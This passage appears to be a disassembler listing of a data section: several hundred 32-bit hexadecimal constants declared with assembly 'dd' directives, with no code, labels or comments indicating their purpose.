dd 0DC7CF16Fh, 945F2856h, 2B494CAAh, 792A9A3Dh, 7C67624h
dd 4C039F8Eh, 0AC723EB3h, 24AD2E1h, 0DA65C658h, 2C51D2Eh
dd 87F5198Bh, 0E56A3BE9h, 97F9DC12h, 0CD390141h, 35DD9147h
dd 0A86D98ACh, 0FA69A381h, 8278A42Fh, 8EC8C71Fh, 891AFDF1h
dd 482067C5h, 4F2C1E8Ah, 7732F3A3h, 64057158h, 0FF909D61h
dd 0E7077944h, 0F7ECA071h, 0D38047A0h, 8F359F41h, 0FFA7E0FDh
dd 0A495E717h, 0B6A3298Dh, 69E3FADh, 55713C0Bh, 92E4A685h
dd 63BB351h, 69F06548h, 42BBC022h, 4454AD70h, 498FC401h
dd 0A9762FD2h, 2D36DB7Eh, 0CF039EC9h, 0D8D776F2h, 0F68FACCDh
dd 33BF7B2Dh, 71413C40h, 0ECE2FFEAh, 0A2E1657Fh, 0D0212FD3h
dd 9EBE1DEFh, 4E51383Dh, 42136C59h, 79F13B0Bh, 9A6ED69Bh
dd 434E5ABBh, 80794FF7h, 0B1964613h, 31AD1806h, 143EC40Ch
dd 3A7263FFh, 14B3CE52h, 0EF4357E6h, 3508DE0Eh, 0E9F91C17h
dd 2CEF2B74h, 0E2A430EDh, 51C81272h, 0C4897A0Eh, 99B22555h
dd 0E7F13FC4h, 2FAA6EDBh, 6E841DABh, 0ABAF871Bh, 2368A05Fh
dd 3F40425Ah, 72A8B919h, 974B6492h, 97E13CB1h, 243B0799h
dd 43DB9FE8h, 3F8C527Fh, 2F7D41E5h, 33908F93h, 0C52C72ABh
dd 4BEFCA74h, 0CD9B9FFh, 6EA8A7B4h, 0E88BB8FBh, 974B55CAh
dd 1EA56ECFh, 8AF47C55h, 2685BA5h, 4076B02Eh, 2BB32E8Ah
dd 1BA62E67h, 907C3DD6h, 0B7AA3D36h, 0B95742A8h, 0B41DC095h
dd 69A309CBh, 49B11633h, 43144D0Fh, 0FB1988Fh, 159781CAh
dd 18610333h, 0B91FC4A2h, 41151156h, 2F3BB06Ah, 94373A4Ch
dd 2F7400BEh, 0CBFC0EC7h, 1774C008h, 0D302618Ch, 0D2D482BCh
dd 0B7EF8925h, 0E79E273Ah, 67A9869h, 4A8186F6h, 1AC05D20h
dd 0F447C576h, 48F91E7Ch, 28A5B85h, 76C7E27h, 613B6FDDh
dd 28140453h, 92DA4478h, 4F19B2E6h, 0BFDAEF08h, 9142A99Dh
dd 0D648FEC6h, 9F818E2Ah, 79516AA5h, 0F3CB6E81h, 85CAE88Dh
dd 0D04FCF6Bh, 72F3FE0Bh, 20826AA1h, 73F074A2h, 53225286h
dd 0A256F878h, 6A2F0FE6h, 0DC5CD271h, 42692CC6h, 0CB2E4524h
dd 0A9569463h, 5B742DC6h, 0EE57E149h, 0CBF1B8A8h, 9857A659h
dd 0FBBB4A9Ah, 8BA763FAh, 253F8A9Dh, 0F60AFE0Bh, 5A5E605Ch
dd 54169980h, 4A046323h, 538124B9h, 0C328EA2Eh, 0BFB8F3E4h
dd 31FF38E8h, 7A3E0AC4h, 0E0ACD827h, 37589008h, 8129A434h
dd 0B2E965AFh, 2B172DBDh, 0B5AAA94Fh, 397036D6h, 0D7916FBEh
dd 0CEAE45C1h, 96576E28h, 14FD90B1h, 0FB56DB8h, 5AB7BD22h
dd 0CF2637FFh, 1CC93FECh, 8F710E8Bh, 0C42A83CAh, 0AC3DA307h
dd 87CB3C1Eh, 0A654CB63h, 23CDA3E0h, 6DD5AA4Fh, 0CDA704DAh
dd 0D76409CEh, 911EE174h, 0FE9C29Fh, 93560AFAh, 6C330176h
dd 4BFC38FBh, 0BED45CF6h, 74E3CADh, 8930D561h, 1C8CE5ACh
dd 32ED5AD1h, 0A473331Eh, 241DA6F2h, 0D27B860h, 0F94096CAh
dd 0C13A2036h, 0B82761AFh, 49567A16h, 5BDBA7DAh, 0B27A7257h
dd 8D504B53h, 0A91A1207h, 1ECCF9F3h, 0E44CFBF9h, 0C00CAAFAh
dd 0F89D5ABFh, 0E76F3576h, 0EFAAFF3Bh, 0F63C9CA8h, 0A1093DD9h
dd 135E472Eh, 0D21C2D09h, 15A0AB66h, 25D013A2h, 0D05880F9h
dd 48BA7D7Eh, 0C8D601B5h, 95A841D3h, 60FA5F57h, 8999FEDAh
dd 0DF029BB2h, 75DF8E3Bh, 2EDF7546h, 0A890CEh, 0ECC2564Dh
dd 0F2BB6A19h, 2FFCE63Eh, 0F86CD763h, 0C5C3F21Bh, 0AE752847h
dd 4348028h, 338DB985h, 0DE866014h, 398C0C90h, 9F6C9480h
dd 0B65243FBh, 210B127Fh, 824281E0h, 0D16F0A43h, 5B72895Ch
dd 0C7D63EFh, 46BED00Fh, 57B04083h, 0DE3AABF9h, 0A70BFBC1h
dd 996CE73h, 0BA70E7FEh, 0B35B3E7h, 9875FB0Bh, 2AADD64Dh
dd 34F0E269h, 46FE3A31h, 4F877083h, 0ED253C4Fh, 5FAD5B34h
dd 3BEA36A5h, 0A50902EFh, 8734D878h, 6DC0EE60h, 4C22DB8Fh
dd 0AB2E45B6h, 84A5F460h
dd 0EEC7283Bh, 0B604F918h, 0ABC12031h, 0B2C42FF1h, 0C11A966Bh
dd 0A5027AE2h, 9E1C67A0h, 2F7D1045h, 0A8E754FDh, 6B790BA0h
dd 56B04ADh, 63C823E6h, 0C051815Fh, 7823B604h, 0AB4785BCh
dd 0BE96F8Ch, 0C0C17337h, 0D9B4833Dh, 0E78E0AA4h, 0AC27EE93h
dd 11B2AC29h, 0AE3F8921h, 29F3C636h, 423B862Dh, 4B5EE250h
dd 0A3A7A164h, 0C73B5C5Bh, 1ADB6EA8h, 7026E18Fh, 566935E6h
dd 0D6CF2449h, 82A53352h, 601C609Eh, 9F797D48h, 0E8EC7647h
dd 347A6B72h, 4425E42Ch, 8B7CD9E9h, 0A3DF2EB5h, 4DB4C2E8h
dd 76207F50h, 0BF1399E1h, 6BB9842Dh, 0C5988B46h, 0FA18D6ADh
dd 0C0161367h, 0DC2A105Eh, 0BA1CFD3Fh, 51CC2503h, 0A3EB69E9h
dd 57CB997Fh, 522F3A01h, 0E76AFAD7h, 473F2831h, 0BE8FE713h
dd 0DDF8FFC3h, 13B88B21h, 5BB67BB0h, 0A6B9C539h, 71E286E0h
dd 9EEF5125h, 16AFADBBh, 1B1F39FEh, 0A1D41369h, 0E7A9C07Eh
dd 0A16B827Ah, 714832EFh, 0AD2822A9h, 80164849h, 562FAAC2h
dd 0D18CFCBh, 65942374h, 0F8B7BE02h, 1B86DD0Ch, 4C5C7C04h
dd 8169FDAEh, 0C817E9A5h, 4A3E49A5h, 0B3FC952Ch, 813208A6h
dd 0C788753Dh, 0E9145AF9h, 0CB5E3C97h, 0AD6296E4h, 86EA4FC3h
dd 0D94CA150h, 3D7DED88h, 170D602Dh, 0B5BE3ED9h, 0EB2E66CDh
dd 6F31E7EDh, 4C4B4D44h, 36D62A0Eh, 315293A1h, 0EF63A789h
dd 0B95C72C1h, 0E75EC59Fh, 9D70E629h, 0E398B0B8h, 0B6EEA2Ch
dd 0B17F4426h, 73F87219h, 8FD48024h, 35047B2Bh, 480F513Ch
dd 2DA9BB31h, 88D84CF6h, 0A389C7D3h, 0D16982C4h, 613C7E3Ah
dd 79249C2Dh, 0FF227197h, 0B584F020h, 0D3699CADh, 0B40144E1h
dd 28403517h, 0B8B675CEh, 0D54D0DE5h, 19E3D9B6h, 0B2965DB6h
dd 17549D20h, 6092ADC9h, 0D2CAA266h, 915845C1h, 21D54018h
dd 4DC30112h, 1EC50BD9h, 4C264C96h, 0B467DEEh, 0BB3D7F95h
dd 172AC9B7h, 0C7113F43h, 5CC61BCEh, 4462C475h, 9A9A5D3Eh
dd 0E72533E4h, 0FA271A26h, 0EA19B0ACh, 5C239E25h, 5F81AB1Ch
dd 1AED624Bh, 0ED4F4C6Bh, 0DC6FF763h, 5AD085B5h, 8F16F65Ch
dd 53BE5B9Ah, 7103D17Ch, 17142CB5h, 6B851338h, 91F7073Bh
dd 3EC1563Eh, 0BC2F108Eh, 43118E29h, 0B0898BE8h, 380F7F3Fh
dd 0CD1B6DCFh, 0A19C345Dh, 0A8D4788Eh, 0D03CD0Eh, 287972ABh
dd 60037E04h, 6F2FD7BEh, 0B768591Bh, 6D01B240h, 785B05CCh
dd 6212E351h, 0E0F5E0F7h, 81BB978Bh, 0E4715721h, 45571AB0h
dd 8BD50AAh, 65254B8Ch, 0CEC04BE9h, 0D1A7A6CFh, 0E6078F1Ah
dd 0E8FCEA55h, 83199E55h, 0EDE06A57h, 87B1D463h, 4C6B302Ch
dd 9BD6A586h, 0A6769306h, 0C46D5BA6h, 870D60Fh, 947182Fh
dd 7C8AA00Fh, 122D5378h, 0CB9CA826h, 8D23839Eh, 713D07F2h
dd 86C63C67h, 0E038675Dh, 0D766B977h, 9DD55E9Bh, 0DD945071h
dd 64DA8EAh, 0D9C773E1h, 0B30B9FF3h, 78AFE5F9h, 0D1643E32h
dd 5C623864h, 0F3B12A60h, 0C8020B0Bh, 0F049093Ch, 4D8EECC8h
dd 2B21887Ch, 0E330DDEEh, 0E119A591h, 88D4AAB5h, 58204B58h
dd 26007C9Fh, 0BD1D5378h, 8B775529h, 4ADC28C5h, 139AAA14h
dd 7752FC67h, 2BD154B6h, 0D23755C1h, 4D2182B7h, 7DA333A9h
dd 18A823B5h, 935A6C57h, 0E8F6AD02h, 0E6AEA2A5h, 0A5250626h
dd 0A9EF3F5Bh, 26F652B1h, 76EE6939h, 0E20AF2CBh, 9094292Dh
dd 3F87F497h, 0B3F8F9D9h, 0EAC6246Ah, 8620BB89h, 40CE60C9h
dd 29CE80Ah, 60EAD742h, 0E7181BA9h, 1BD01C60h, 7C882668h
dd 83A04268h, 0DEBAA022h, 3131F7C1h, 7E17DED8h, 0C813068Fh
dd 0D5BDB26h, 1206C6A0h, 0BE52E5D7h, 5ED26F13h, 0D831E410h
dd 32F3EF42h, 91E78684h, 4326A36Ah, 356B9A7Dh, 0C1DD2028h
dd 0EC2959E6h, 0AB6C9E8Dh, 53DE651Dh, 152E2828h, 7EF05FFFh
dd 0A80C44D3h, 982FC2E3h, 9D11BAB5h, 38954E22h, 0FABA0C8h
dd 0D769DDFh, 7D5B2C72h, 0CCA2D502h, 35E696B8h, 0A8270C38h
dd 96A3E9A0h, 3D5FF448h, 36AEA13Fh, 804E52DCh, 60948B09h
dd 31F413C6h, 0A6494AB2h, 781EEE96h, 758F49F7h, 4C19DCB0h
dd 0B33C6FE9h, 42E7C5D4h, 763784Ch, 1CF355CBh, 433C0A0Bh
dd 0B8D8C6AAh, 2A1D8BF8h, 5582E7C8h, 444B5253h, 88FE4B72h
dd 0AE26F7FCh, 8A96CA77h, 0E3CDA87Eh, 0FA20690Bh, 0EC26A24Bh
dd 51B7DFD8h, 51A4E3DAh, 0A42C6001h, 0DB64DE7Fh, 0FCE91BF8h
dd 6064A1E5h, 4B9C4EE0h, 5A018852h, 0B40DEA27h, 887E3B87h
dd 38844070h, 27E87984h, 322867C1h, 0D67DA79Bh, 9C7C5D80h
dd 0BCAF8B9Eh, 5A5829C3h, 155EC681h, 674EBB17h, 25137471h
dd 0F99572F6h, 0F5046E11h, 0E7959341h, 0DBF444C0h, 868D3AA6h
dd 0D725ED57h, 51AA79A6h, 0EEB08B5Ah, 0AC5F8B56h, 779278C2h
dd 0B1EEB968h, 2B958B07h, 0FA2CF99Bh, 0AE6C59B0h, 1B304FDDh
dd 5FA310Eh, 20BE9405h, 1B90939Eh, 0F7CB6A99h, 0B2F2D526h
dd 0E6B8678Bh, 7ED04965h, 9AE0626h, 63FBE173h, 470931BDh
dd 4936EE34h, 91E8A5ECh, 0F7C7933h, 48032037h, 0CBD3F1CDh
dd 196933Fh, 37AF6448h, 0D7461035h, 32974174h, 3C30102Fh
dd 0B1E4217Bh, 0C4F82F35h, 6480073Ah, 4523F12Ch, 959B1026h
dd 457506BDh, 0C088DA0Eh, 1DE577EEh, 66E84B10h, 1541490Ah
dd 0A0BB990Eh, 0D69E45FBh, 0C3EC8360h, 756698B6h, 0ACF15FFFh
dd 0EDD614C2h, 9EDF6FD8h, 0BC155B12h, 39798555h, 724E905Ah
dd 8243D9CBh, 4D7E5E2Ch, 388C412Dh, 0CA6C014Eh, 0BD7FFF3Bh
dd 8B262C40h, 0CB7A77Ch, 651F3695h, 9C6FEFECh, 0A951DD5h
dd 4BDF2720h, 16068CC6h, 0E93F8F7h, 0B6B806F2h, 0F68244D5h
dd 616D9A12h, 0A09DA256h, 28B305C2h, 0BF72F206h, 0AC90C718h
dd 33BA8153h, 619ECBA6h, 684D1295h, 0A8EA7700h, 0DBE151C0h
dd 7EB952ABh, 0CA23BF77h, 0C2667CBCh, 9D5CCDCFh, 92D3B96h
dd 4A6FB56Fh, 6F0CFF9Eh, 0CE178CD4h, 954B2DE8h, 864B1E0Ch
dd 78BBB31Dh, 688B4696h, 0BE213483h, 257E993Ch, 29782AD4h
dd 4D41FF1Eh, 2230A3E3h, 6215E627h, 0ED08A198h, 9B06955h
dd 0BFFA240Eh, 0A83EEE30h, 4F93632Ah, 275B1B71h, 518A4229h
dd 0D91E97Ah, 872E6FBEh, 0FAAA38D1h, 0A001B851h, 0C9B5BDE1h
dd 0F402C0DAh, 0FB5FD120h, 5E800237h, 0F2B40110h, 0F079057Fh
dd 2E3489FAh, 0C0220913h, 642D120Dh, 0F2840FB7h, 0CB947C1Fh
dd 788E714Fh, 996AD315h, 4626EB7Eh, 4F95EE4Fh, 0E291788Fh
dd 0DE73D10Fh, 81853E60h, 2313251Ch, 0AF967AEEh, 9551577h
dd 8A65E486h, 0D6606A24h, 6167F303h, 8C0E4D7Ch, 4E588793h
dd 0C0DE0A90h, 0B236595Fh, 0BF3A9773h, 377CC7EDh, 0D46F0917h
dd 228B5025h, 47949D8Fh, 0AE81BD5h, 0C403885Ch, 5FB66FEAh
dd 391C951Ah, 3F2D17B4h, 133BDC97h, 2C5EDCB7h, 6E6CEAECh
dd 6BD08AF6h, 4DBD3E60h, 0B5ADDB27h, 8A027352h, 9181226Ch
dd 4C30928Bh, 818121Dh, 48C280EEh, 5FFF8DB5h, 1A6D90C3h
dd 0CCB1EB18h, 0C45FB2ADh, 0FBC3C3B3h, 7E1277F3h, 8B525FC5h
dd 18AE1A47h, 23FA4062h, 75B2B4B4h, 0E2ED5038h, 23A70431h
dd 9DA1E498h, 3CAE41E4h, 0F4C8E735h, 77BF24E7h, 50CC6AEAh
dd 82C0FADBh, 70AB7554h, 0F078AE3Dh, 0D123C8D2h, 714FC268h
dd 1B910E06h, 168964D6h, 0E082A99Bh, 24B400Fh, 193E7EBh
dd 98F836C7h, 8EEB469Fh, 3B3B9758h, 0AD2DEA48h, 996BEE6Ah
dd 776226DCh, 0A2BCFA8Fh, 0BB99323Ch, 0EC23708Ah, 7EA5F7B7h
dd 533127B0h, 0AA5C09D9h
dd 843A738Bh, 7566C7FFh, 0C2B37120h, 0EF7533DCh, 4D38D7EEh
dd 4AD9A177h, 0A58C0066h, 0CB1538A7h, 4859962Ch, 563B7CFCh
dd 169BCD37h, 26328794h, 0CC8D4687h, 0A3AF62BBh, 926E0ADFh
dd 0D91C0667h, 1949344Ch, 91B836D3h, 8AE30C6Bh, 1D826F49h
dd 0D54C7889h, 192C8C2Fh, 0C6D83FBAh, 0FE31066Dh, 7E0C3F4Ah
dd 5A227DC3h, 0EDB798A9h, 35C31D79h, 91D73918h, 0C095192Ah
dd 86B328B7h, 7A738A32h, 80135727h, 0AEB998E6h, 537A4BE9h
dd 0FC3AE14Ah, 0A1AAC7CCh, 4BE2B700h, 0EAA31FB0h, 16F963E0h
dd 0C5EAC383h, 57B9D08h, 86DC6E62h, 0A65E0754h, 89EAE84Eh
dd 0CA7A338Eh, 0FD28ED47h, 860D1EB5h, 0B6511CF0h, 0B38F5472h
dd 965B68E4h, 18D054A0h, 0AAFC2987h, 2C469526h, 8F4961DEh
dd 0CFBE760Dh, 3A0F33A9h, 0FD4F9B43h, 37148C9h, 21F1405Dh
dd 2E0E9906h, 490D70F2h, 9EFC1B1Ch, 0DD276F7Ah, 0E3BEAEE6h
dd 70B5B131h, 0DAF439E6h, 0A9068819h, 4F30773Ah, 0F94C695Eh
dd 0FAA34957h, 21A94ECAh, 34EF1A8Ch, 0FEE266ACh, 7B0570E6h
dd 0F1C91F87h, 0C261F696h, 0BC3B126Ch, 112C9291h, 0BF91C653h
dd 786DE9DFh, 9D297F0Dh, 636C56EDh, 4501086Ah, 0FA9B9BDBh
dd 6A1CCC67h, 54C28054h, 0B7827A3Bh, 0B2FF5297h, 0A14F6005h
dd 326DCF4h, 0A0D52427h, 2BAD060Ch, 448E1729h, 5594D4D3h
dd 54E12FFh, 85A7EEA0h, 0BA817F0Eh, 0EA56CECFh, 0A0C89F5Ch
dd 8DA5EAD6h, 52AE7B93h, 974D98A4h, 0E8887C4Ch, 0C17BD1BCh
dd 727903C5h, 2FE9A818h, 0EE23DD60h, 0D21ACA0Bh, 2773E29Bh
dd 0BD629475h, 0AFCBDE4h, 1C153D83h, 0E38598Dh, 37516D8Ah
dd 94E6D404h, 34290F0h, 39B30E03h, 33DAE5B1h, 64691C03h
dd 0DBD6D39Dh, 0C0CC9F9Ch, 59998419h, 31F7A3E5h, 0D7C9518Dh
dd 5F04685Fh, 796BE98Bh, 0F279ABCAh, 0B8C14DEBh, 9B1D180Dh
dd 26640C9Ch, 0B262140Dh, 3E7271CDh, 26E87973h, 0C5389111h
dd 9C08306Ah, 9EBB6CA2h, 0F4CC567Ch, 0F0B32BFEh, 0EE0B00CAh
dd 0E8D13869h, 0B15BF16Bh, 81F35C4Dh, 0C73DF1DAh, 7884E702h
dd 242BB2DDh, 48601B1Bh, 0B6CFDE3Eh, 0FD8BB259h, 738003Bh
dd 0CA3F3835h, 9AF48203h, 0D1F1321Dh, 9B286A4h, 4800A062h
dd 58A64AE2h, 822DD498h, 94419921h, 0D45A59BEh, 0DDA15AC9h
dd 0DE24FD5Ch, 0AC1D15EAh, 72F3AD9Bh, 6803638Dh, 0AEB917BCh
dd 7B33A804h, 4D235AF6h, 0A16E1BDDh, 0ABC60327h, 1D5A151Dh
dd 0E35C53B5h, 84A8C2CBh, 0C5FB532Fh, 73CF4AC4h, 7805F6B3h
dd 95ABABB1h, 0ABF694F4h, 0D93F3582h, 0FF07A1A5h, 0EDB3D7CAh
dd 5306103Bh, 0EE491FADh, 4BA06278h, 0BCCD984Bh, 0E16A59B7h
dd 0B461D57Eh, 0CA80A4A7h, 6833851Dh, 1FBB8555h, 0A0CD4471h
dd 0CE82463Eh, 99878CD6h, 990DFDD3h, 0D2A1374Ah, 0D31C3BA7h
dd 0B9747E0Ah, 5E61701Ch, 0E51A82EBh, 23C1E77Fh, 9313C600h
dd 0A4D2F3BDh, 7E3BC58Ah, 0D1331163h, 21742A10h, 0C36FF3CCh
dd 6F1E459Dh, 912AA11Dh, 4C405AEEh, 98BED400h, 167DED52h
dd 0ADC47F43h, 0BE1C9A09h, 48C05160h, 0A5893E2Ah, 4B9B7AB5h
dd 26D54825h, 373008F2h, 5AE25CDAh, 45036AC2h, 0F1E62D7Bh
dd 0E7FCDDAh, 0D755A90Bh, 0DB35056Fh, 0B19208A9h, 10297341h
dd 16A69E82h, 86E9BD2Bh, 0FFB2D72Ch, 7B7F9EEEh, 62D80A3Bh
dd 0D929871Fh, 0FC2C8668h, 46299311h, 94C02B60h, 5FC67ACFh
dd 0C1E24B8Fh, 33A2AF50h, 0A36B350Ch, 8C0A9C07h, 49455586h
dd 2F1BBB78h, 76246E80h, 67D7026Bh, 0E3099F01h, 8C2E853Fh
dd 4A9B09B0h, 5108C8F3h, 789412Eh, 58792CB2h, 6FE3D81h
dd 70D716BBh, 0C302C258h, 0AFD3ACAh, 4E823893h, 0D7C9D015h
dd 69000880h, 66207A44h, 0CEB76DD3h, 7389C628h, 0B343640Fh
dd 0CB408D15h, 4806CA2Eh, 0E53167AFh, 0D03683FFh, 0F1BED115h
dd 46484117h, 8436AA99h, 92008B5Eh, 846F96E3h, 28EEB8D9h
dd 0EE4ADB4Bh, 9C6D767Dh, 0A0F7D1C1h, 0E66AC969h, 996E1F56h
dd 297545BAh, 0B97D4951h, 0E9D67724h, 2AB8F2CDh, 0A5B02E0Ah
dd 83E7A7B1h, 5F091A35h, 40871A4Fh, 79EFE8FDh, 0D988934Ch
dd 9FF2FEBh, 31567915h, 0C205CC2Bh, 9F66FEA6h, 77552BDFh
dd 9E6E83F9h, 0F2D773B6h, 0F7A313C3h, 0C7B96A73h, 97D49CADh
dd 0E72605F6h, 15A2E89Eh, 0DDFA119h, 3D28E5D4h, 3B7678D4h
dd 0B131EE5Ah, 0A2F806E7h, 91563B6Dh, 0DB6BA628h, 0B196C007h
dd 2B44AAA9h, 83083A4Ah, 4C126403h, 0D887406Bh, 975ED9ACh
dd 0D80DD01Dh, 4A43041h, 0FBD0B4A4h, 0B8DA3AB7h, 0F24CC702h
dd 88FCDE3Ah, 0FAC6DD2Ch, 1AB9ED74h, 76378CA5h, 25E4AE73h
dd 12C269C8h, 9DC1122Dh, 25B69B51h, 581DAE54h, 59890D59h
dd 6DE1289Bh, 33F714F3h, 0BB8DBA77h, 4C07F62h, 1D118794h
dd 7E6B6B01h, 27E8F35Bh, 48C7E2Dh, 7732D941h, 0DA70FB13h
dd 2D33BCDBh, 465DCFF4h, 8DC378CBh, 0CC65F24Fh, 6FADAA39h
dd 4D7AC8D4h, 3AB9A3F4h, 0E6F2113Eh, 0F0F81369h, 41D2E217h
dd 0ABDBD014h, 9BEBF3DEh, 2774E77Ah, 0FC66919Ch, 77D1CBCBh
dd 0AC93AC16h, 432FBABCh, 0C834BA31h, 9442010h, 0C8F1FE37h
dd 96BD947Dh, 0BACC50B9h, 3AFE734Eh, 7C41F828h, 1822E1C1h
dd 0EE28FEAAh, 0B6E4A6AAh, 307F2D34h, 295AB3C8h, 1F8B9F05h
dd 5860EA18h, 0B65122CCh, 83334BDBh, 0EA656BBEh, 1E21D663h
dd 0DCB16926h, 0A2461C97h, 0C7D1BD2Fh, 5A06C3BAh, 2E01B5C1h
dd 0E4626DCh, 73346595h, 0EBF410C7h, 0BEEE5882h, 4CCC4C9Eh
dd 42D95CCBh, 14DD1D21h, 0EC3D5BFEh, 616B25BEh, 0F5149A67h
dd 0EFF0050Bh, 7B23681Fh, 0EC3757B0h, 0F9CF0C1Ah, 44D65E01h
dd 0AFFA142Ch, 9465C6ECh, 14CB48D3h, 33757A9Eh, 0D709A0F8h
dd 0E562456Bh, 5B385D3Fh, 0F49AA825h, 184749FFh, 945D813Eh
dd 0EF25621h, 0BDF97B43h, 0FFEB8BDAh, 0DF542316h, 0DCAACA40h
dd 0D4928B73h, 0AED72EB7h, 755AE4AAh, 7357FE19h, 9ACD2F3Dh
dd 307CEACh, 0C8D63900h, 0A2DC2741h, 35CA4D3Ch, 54EBFFA2h
dd 0AF8A78E3h, 0E14A9F9Bh, 592A92DFh, 736C3201h, 77730BCDh
dd 4232F036h, 0B3082742h, 27CBD150h, 0E42182F2h, 0F88AEFD0h
dd 0DD8924Bh, 0DF223F91h, 190CAFFDh, 205FD295h, 2DC57744h
dd 415F283Fh, 8042AF91h, 56388E93h, 0C3D5AF55h, 3014AE38h
dd 0F81ABBD6h, 1496C9C4h, 0D9D58BEEh, 0C8BE3044h, 0F43674D9h
dd 0CE58209h, 312394DEh, 7F05D41Ch, 7CE35A62h, 9FD33285h
dd 0AE63D19Dh, 0B55B0A87h, 631478C5h, 0DCB9A7FDh, 6CE256AEh
dd 0C05042F3h, 2CA6CFE3h, 2914C0BAh, 1F77188Bh, 0B76019Fh
dd 9ACD930h, 0C8901907h, 0F601E9F1h, 0C79DE63Ah, 5928C6D9h
dd 0B901710Fh, 0E4372413h, 0A77B6A4Dh, 0FAE07D8Eh, 30A72855h
dd 8462AC5h, 0CD935D26h, 381A381Bh, 1A01B51Ch, 45E66701h
dd 5DB0233Ah, 0AF48B2A9h, 69A20A65h, 865BE54Ah, 0DE88E402h
dd 0A2103BF5h, 0C892F7F3h, 0D1EA77C2h, 3DE69BD6h, 2034C38h
dd 218CF609h, 0F22F5C31h, 0C6D95F8h, 577269D4h, 0F031F925h
dd 9C2C8EC3h, 8B5352FBh, 5F5F261Ah, 2297F0EDh, 0C6815C23h
dd 2E4B09h, 0D714ECDDh, 0E3D4BBE0h, 0A1CEB3C8h, 9D5E0C08h
dd 0D4C17313h, 99578028h, 58C975C4h, 0CA3BD894h, 6D97D7F0h
dd 93726748h, 77829247h, 0CF233576h, 5C6C6B64h, 0AD801689h
dd 78063148h, 0D691E926h, 2B005C5Dh, 80546580h, 0EBD13E9Eh
dd 226E0AD6h, 0A26EE52Ch
dd 5E1A276Dh, 8787F7Dh, 4357E60Ch, 0C8FCED2Eh, 86FF2789h
dd 9CCFB679h, 8497004Ch, 3CD26223h, 9A580E1Ah, 6D1ACAFEh
dd 83F7BF0Ch, 0B7F78814h, 3429421h, 3E06A234h, 8FBA2BFh
dd 61F88BDEh, 86B54713h, 897A1A6Eh, 0E3EA4CCFh, 71AA880Ch
dd 725EBD04h, 0F83BE364h, 55862D23h, 0DF03A0CDh, 161DB2Fh
dd 0DED943F4h, 828784BCh, 2B9D5EE5h, 8BDAA925h, 36D74A0Fh
dd 0B9A6FBE0h, 0C11EAF3Ch, 844BFC11h, 3757B06Ch, 0DCA9CAB3h
dd 6309556Eh, 56FEC4DEh, 368634B9h, 95A5370Ah, 0A2AEE7C5h
dd 0E5583892h, 45F41BE3h, 58B4903Eh, 696A595Bh, 839A092Ch
dd 0B23B2CDEh, 0A94FFE5Eh, 904DB23Dh, 7B16A659h, 1D24060Eh
dd 6321BC6Ch, 0A8CC050Eh, 0C94FB3D1h, 0A878D30Ch, 0F3D0DE5Bh
dd 5F301C86h, 7FC127B5h, 9AB24740h, 65CCE048h, 0E43ABA08h
dd 291BEB74h, 0E4F3903Eh, 0CDF3A260h, 0F8F1BEB6h, 0B8FEA587h
dd 0C28B78FFh, 508FA85Dh, 0EAFAC3B7h, 0F557B305h, 71E05683h
dd 66648F32h, 8409CCFDh, 0EA6AC645h, 0F558470h, 2A7A4700h
dd 929415C3h, 0B5A74EF5h, 96F36E7Ch, 0EC6D1739h, 0E8E3F3ABh
dd 48872121h, 0AC829BA2h, 0BC8F2608h, 0B6576DACh, 7606F44Fh
dd 0B51DAA3Bh, 0FD390890h, 0F13E9B66h, 2683D1D2h, 5FA4E38Fh
dd 0B46850BBh, 9BE86B12h, 91F4BC89h, 3C42DDA9h, 0C50E45BDh
dd 0EF839B8h, 2C508D0Bh, 0D71042C8h, 78216877h, 17F3D18h
dd 9D1A6EDDh, 382E2C6Dh, 2C6EB0C9h, 8831AA53h, 6839F8FCh
dd 0C249796h, 0D49A6D54h, 0EBB1632Ch, 3355F293h, 0A54F7E4Eh
dd 0F51D5C51h, 0A06116FAh, 0FADACC68h, 5483150Fh, 66DACCB8h
dd 18510C28h, 2ADA1DD4h, 683A4D8h, 14D66EAAh, 511B6CB5h
dd 0E38EAEA5h, 4AB49457h, 1F6EF21Dh, 95569B41h, 0B5378FB2h
dd 5882908Fh, 38274330h, 33BCCFE1h, 84FE906Bh, 0D2467B6Ah
dd 0D009EA2Ah, 31F705B6h, 324FDFF1h, 0C1478F5Ch, 19366FA7h
dd 453E68A0h, 0B9958FE1h, 0D5AC7CBCh, 0DF30AC08h, 1566EE68h
dd 37130276h, 39C93B13h, 2E25ED5Ah, 38B826FEh, 0BD730F8h
dd 2F95F26Eh, 334922AAh, 8C473D10h, 0CE4AC64Ch, 0F4B702D2h
dd 0A231A980h, 0AAFCDF5Dh, 215D9804h, 0A353E03Ch, 0DB1B702h
dd 0A462857Ah, 858218E4h, 57F14E61h, 233ED68Bh, 0F85A3821h
dd 204B2F5Bh, 4B82EA76h, 4149A812h, 8F43ED04h, 0E160BEA5h
dd 15EDEA7Ah, 24A14C3h, 873BD5DAh, 7EE67B5Ah, 0E2BDC08Ch
dd 9B3BB1B8h, 0A3C51E0Dh, 0D46CD594h, 0FB7D0D40h, 36763F71h
dd 2FC35753h, 0E3DF4C70h, 0FB4E7AA1h, 0EBDEB9D2h, 1F601C8Bh
dd 8CDA673Eh, 0F884F239h, 0F44F2690h, 51BB92B1h, 117F0772h
dd 91A78301h, 0BB9C110Dh, 79C1015Ah, 2106E690h, 3137F4F9h
dd 4E2715DEh, 4250FFB1h, 956CEF11h, 6BF966A3h, 3EF4FF26h
dd 0C79A4625h, 581E7788h, 0CA8FC343h, 27C3117Eh, 74B11502h
dd 76DD76D0h, 0D412018Dh, 0AB7C9A26h, 9593DEB4h, 664AC1E0h
dd 917B0603h, 6662B27Dh, 71D0073Ah, 41546D52h, 1B80D71Eh
dd 6A9C57D2h, 2C95A463h, 813D6D3Fh, 54CCF00h, 0DD6CDB5Dh
dd 0A9C5B609h, 0D6D31364h, 82153D7Bh, 0AC0E3D18h, 82657C2Eh
dd 41067991h, 0E73DD51h, 6D06E28Ch, 0E03014D0h, 0E450EC03h
dd 3FB5C8B2h, 60A5D71Ch, 0AE7D6E2h, 23F9A4E7h, 0E6F5E937h
dd 2D5FED7Dh, 2652BB94h, 0D5AC779Ah, 61116EDh, 0B92CA5C4h
dd 0F1C78CEAh, 0A90F96B8h, 680EA955h, 0F96D7915h, 0EA52202Eh
dd 3AE47029h, 7CF8CA22h, 0D5A2BE95h, 369350A0h, 0E10813F1h
dd 5033861Ch, 69C9AA6Fh, 0C5D45B9Ch, 210DC721h, 2F2078E4h
dd 0BF900D5Eh, 51F194B9h, 0C732A259h, 0AD5BCF38h, 0D88F2C93h
